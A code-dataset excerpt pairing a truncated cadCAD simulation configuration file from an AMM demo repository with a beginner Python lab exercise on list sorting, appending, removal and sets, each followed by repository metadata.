demos/Multiscale/amm_mechanism/model/config.py
w-ghub/demos
6382676fae89bd5a190626612712fcedf17bca6d
[ "MIT" ]
39
2020-07-15T11:35:04.000Z
2022-02-01T16:02:51.000Z
from cadCAD.configuration import Experiment from cadCAD.configuration.utils import config_sim from .state_variables import initial_state from .partial_state_update_block import partial_state_update_block from .sys_params import params sim_config = config_sim ( { 'N': 1, # number of monte carlo runs ...
28.136364
88
0.759289
6c054abccfc35eb456f35375537bee58a5233c75
732
py
Python
Lab3.py
JSliman948/IA241
57e8441ed0a8236e08308c6ed18b7555d76fd739
[ "MIT" ]
null
null
null
Lab3.py
JSliman948/IA241
57e8441ed0a8236e08308c6ed18b7555d76fd739
[ "MIT" ]
null
null
null
Lab3.py
JSliman948/IA241
57e8441ed0a8236e08308c6ed18b7555d76fd739
[ "MIT" ]
null
null
null
''' Lab 3: Lists and Sets ''' #3.1 str_list = ["a", "d", "e", "b", "c"] str_list.sort() print(str_list) #3.2 str_list.append("f") print(str_list) #3.3 str_list.remove("d") print(str_list) #3.4 print(str_list[2]) #3.5 my_list = ["a", "123", 123, "b", "B", "False", False, 123, None, "None"] print(len(set(my_list))) #3.6 ...
19.783784
72
0.595628